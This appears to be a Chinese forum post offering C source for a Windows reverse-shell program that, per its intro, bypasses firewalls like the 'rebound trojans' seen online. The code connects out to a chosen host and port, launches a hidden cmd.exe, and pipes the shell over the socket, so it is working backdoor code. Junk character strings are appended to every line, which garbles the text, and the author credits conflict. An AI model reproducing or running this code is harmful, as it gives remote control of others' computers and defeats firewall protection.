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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 43~v1pf{!  
=-qYp0sVP  
/* ============================== = '-/JH~  
Rebound port in Windows NT -<e_^  
By wind,2006/7 Jid_&\  
===============================*/ D u_ ;!E  
#include JbN,K  
#include *qxv"PptX  
L=WKqRa>4  
#pragma comment(lib,"wsock32.lib") ih |&q  
K@{R?j/+  
void OutputShell(); !P":z0K4  
SOCKET sClient; Bw9O)++  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xU(b:D Z  
=Q6JXp  
void main(int argc,char **argv) 5v sn'=yN  
{ =Wz)(N  
WSADATA stWsaData; Zv9%}%7p  
int nRet; o  WAy[  
SOCKADDR_IN stSaiClient,stSaiServer; %/SHB  
=Ew77  
if(argc != 3) 3{TE6&HIa  
{ 8x8nQ *_  
printf("Useage:\n\rRebound DestIP DestPort\n"); AtqsrYj  
return; O(:/ &`)  
} O:8Ne*L`D  
tg9{(_ t/W  
WSAStartup(MAKEWORD(2,2),&stWsaData); xhB-gG=  
u)%/df qzZ  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NL'(/|)  
q 2;CvoF  
stSaiClient.sin_family = AF_INET; `1#Z9&bO  
stSaiClient.sin_port = htons(0); Z@AN0?,`~o  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w8#ji 1gX  
*@W B aN+  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) R{6M(!x  
{ x Vw1  
printf("Bind Socket Failed!\n"); S7@/d HN  
return; ?uW} XAi  
} &gI*[5v  
k4` %.;  
stSaiServer.sin_family = AF_INET; 4{0vdpo3F  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H;+98AIy`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bP%X^q~]A  
vOl3utu7  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (@bq@0g  
{ JZE<oQ_Jm  
printf("Connect Error!"); hW\'EJ  
return; gb}ov* *  
} 8k_hX^  
OutputShell(); *=Ma5J.  
} Ty*+?#`  
OD?y  
void OutputShell() Q,};O$h  
{ J8[aVG  
char szBuff[1024]; om6`>I*  
SECURITY_ATTRIBUTES stSecurityAttributes; .s|5AC[  
OSVERSIONINFO stOsversionInfo; >xXq:4l>}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {yMkd4v  
STARTUPINFO stStartupInfo; :zpT Gk8Z  
char *szShell; [I[*?9}$"  
PROCESS_INFORMATION stProcessInformation; ly@%1  
unsigned long lBytesRead; Z`n "}{  
HaF&ooI5+  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >}d6)s|   
g<:TsP'|  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); c57`mOe/b  
stSecurityAttributes.lpSecurityDescriptor = 0; },O7NSG<o  
stSecurityAttributes.bInheritHandle = TRUE; <t"fL RX  
%2beoH'  
2\F'So  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); CM t$ )  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |Vp ?  
`u8(qGg7GF  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ghk"XJ|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aLwEz}-   
stStartupInfo.wShowWindow = SW_HIDE; -1ci.4F&  
stStartupInfo.hStdInput = hReadPipe; ?}C8_I|4~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;h#Q!M&e#  
o ,8;=f,7  
GetVersionEx(&stOsversionInfo); }t1 q5@QU  
TnuA uui*  
switch(stOsversionInfo.dwPlatformId) iZ( Jw Y  
{ vpdT2/F  
case 1: B~ j3!?  
szShell = "command.com"; X#X/P  
break; hl8oE5MU  
default: 1b@]^Ue  
szShell = "cmd.exe"; q{!ft9|K\d  
break; FQ/z,it_i  
} i3>_E <"9  
dSS Ai |}  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *QoQ$alHH  
UAC"jy1D  
send(sClient,szMsg,77,0); Seq ^o=  
while(1) HYNpvK  
{ ^Jc|d,u;s  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =vL >&$  
if(lBytesRead) 41+@!`z7  
{ 04a@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]hbrzv o  
send(sClient,szBuff,lBytesRead,0); -8S Z}J  
} )t,efg  
else A|m0.'/   
{ k?Njge6@  
lBytesRead=recv(sClient,szBuff,1024,0); /K<>OyR?  
if(lBytesRead<=0) break; bc2S?u{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Q@C  y\l  
} v5W-f0Jo  
} Y{8}z ZD  
[6nN]U~Y  
return; 0u I=8j  
}
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